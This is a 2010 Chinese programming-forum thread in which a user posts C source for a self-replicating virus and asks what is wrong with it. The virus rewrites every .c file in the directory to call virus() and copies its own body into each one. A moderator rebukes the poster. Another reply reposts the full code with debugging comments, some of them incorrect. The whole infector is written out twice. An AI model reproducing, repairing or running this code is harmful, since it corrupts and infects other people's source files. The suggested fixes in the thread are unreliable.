| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 871 人关注过本帖
标题:错在那里呢
只看楼主 加入收藏
hahayezhe
Rank: 15Rank: 15Rank: 15Rank: 15Rank: 15
来 自:湖南张家界
等 级:贵宾
威 望:24
帖 子:1386
专家分:6999
注 册:2010-3-8
结帖率:100%
收藏
已结贴  问题点数:100 回复次数:5 
错在那里呢
#include <stdio.h>
#include <dir.h>
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",&ffblk,0);
while (!done)
{
 i=0;
 if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
 {
 goto next;
 }
 do{
    if(i>=50)
    {
fclose(in);
goto next;
    }
    p=fgets(buf[i],80,in);
    i++;
   }while(p!=NULL);
   fclose(in);
   out=fopen(ffblk.ff_name,"w+t");
   fputs("#include<stdio.h>\n",out);
   fputs("#include<dir.h>\n",out);
 do
 {
  if(strstr(buf[j],main)!=NULL)
  {
   for(;j<i-1;j++)
   if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)
   fputs(buf[j],out);
   else
   {
    if(flag==0)
    {
flag=1;
fputs("virus();\n",out);
    }
    fputs(buf[j],out);
   }
 }
 else if((strstr(buf[j],include[0])==NULL)
 &&(strstr(buf[j],include[1])==NULL))
 {
fputs(buf[j],out);
j++;
 }
 else
 j++;
 }while(j<i-1);
 read=fopen(virus,"rt");
do
{
 p=fgets(buffer,80,read);
 if(strstr(buffer,int_virus))
 while(p!=NULL)
 {
  if(strstr(buffer,virus)==NULL)
  fputs(buffer,out);
  else
  {
                fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
        fputs("\";\n",out);
 }
 p=fgets(buffer,80,read);
}
}while(p!=NULL);

fclose(read);
fclose(out);
      printf("\nYour c program  %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(&ffblk);
}
return 0;
}  

错在那里呢?
搜索更多相关主题的帖子: include return 
2010-04-19 19:22
cnfarer
Rank: 16Rank: 16Rank: 16Rank: 16
等 级:版主
威 望:179
帖 子:3330
专家分:21157
注 册:2010-1-19
收藏
得分:20 
错在做人不起道!

★★★★★为人民服务★★★★★
2010-04-19 19:32
lijm1989
Rank: 11Rank: 11Rank: 11Rank: 11
来 自:珠海
等 级:贵宾
威 望:12
帖 子:675
专家分:2844
注 册:2009-10-14
收藏
得分:20 
★百分英雄帖★
LZ还不知道错在哪么?
2010-04-19 20:16
longlong89
Rank: 11Rank: 11Rank: 11Rank: 11
来 自:广州
等 级:小飞侠
威 望:6
帖 子:1043
专家分:2754
注 册:2009-8-18
收藏
得分:20 
接分

想象力征服世界
2010-04-19 20:22
zhanfffmmm
Rank: 5Rank: 5
等 级:职业侠客
帖 子:238
专家分:343
注 册:2009-10-16
收藏
得分:20 
接分
2010-04-19 21:28
草狼
Rank: 9Rank: 9Rank: 9
等 级:蜘蛛侠
威 望:2
帖 子:577
专家分:1040
注 册:2010-4-6
收藏
得分:20 
#include <stdio.h>
#include <dir.h>
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk; //看不懂这是在干什么?定义结构体吗?
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",&ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL) //这里可能错在没有指定文件的完整路劲和文件的格式;
{
goto next;
}
do{
    if(i>=50)
    {
fclose(in);
goto next;
    }
    p=fgets(buf[i],80,in); //这也错了,FGETS是读入字符串,应该写成p=fgets(buf,80,in);
    i++;
   }while(p!=NULL);
   fclose(in);
   out=fopen(ffblk.ff_name,"w+t"); //没有'w+t'的打开方式吧读写方式应该用“wb”吧
   fputs("#include<stdio.h>\n",out);
   fputs("#include<dir.h>\n",out);
do
{
  if(strstr(buf[j],main)!=NULL)
  {
   for(;j<i-1;j++)
   if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)
   fputs(buf[j],out); //改成fputs(buf,out);
   else
   {
    if(flag==0)
    {
flag=1;
fputs("virus();\n",out);
    }
    fputs(buf[j],out);
   }
}
else if((strstr(buf[j],include[0])==NULL)
&&(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out);
j++;
}
else
j++;
}while(j<i-1);
read=fopen(virus,"rt");
do
{
p=fgets(buffer,80,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
{
  if(strstr(buffer,virus)==NULL)
  fputs(buffer,out);
  else
  {
                fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
        fputs("\";\n",out);
}
p=fgets(buffer,80,read);
}
}while(p!=NULL);

fclose(read);
fclose(out);
      printf("\nYour c program  %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(&ffblk);
}
return 0;
}  

先就到这
2010-04-19 22:14
快速回复:错在那里呢
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.042839 second(s), 7 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved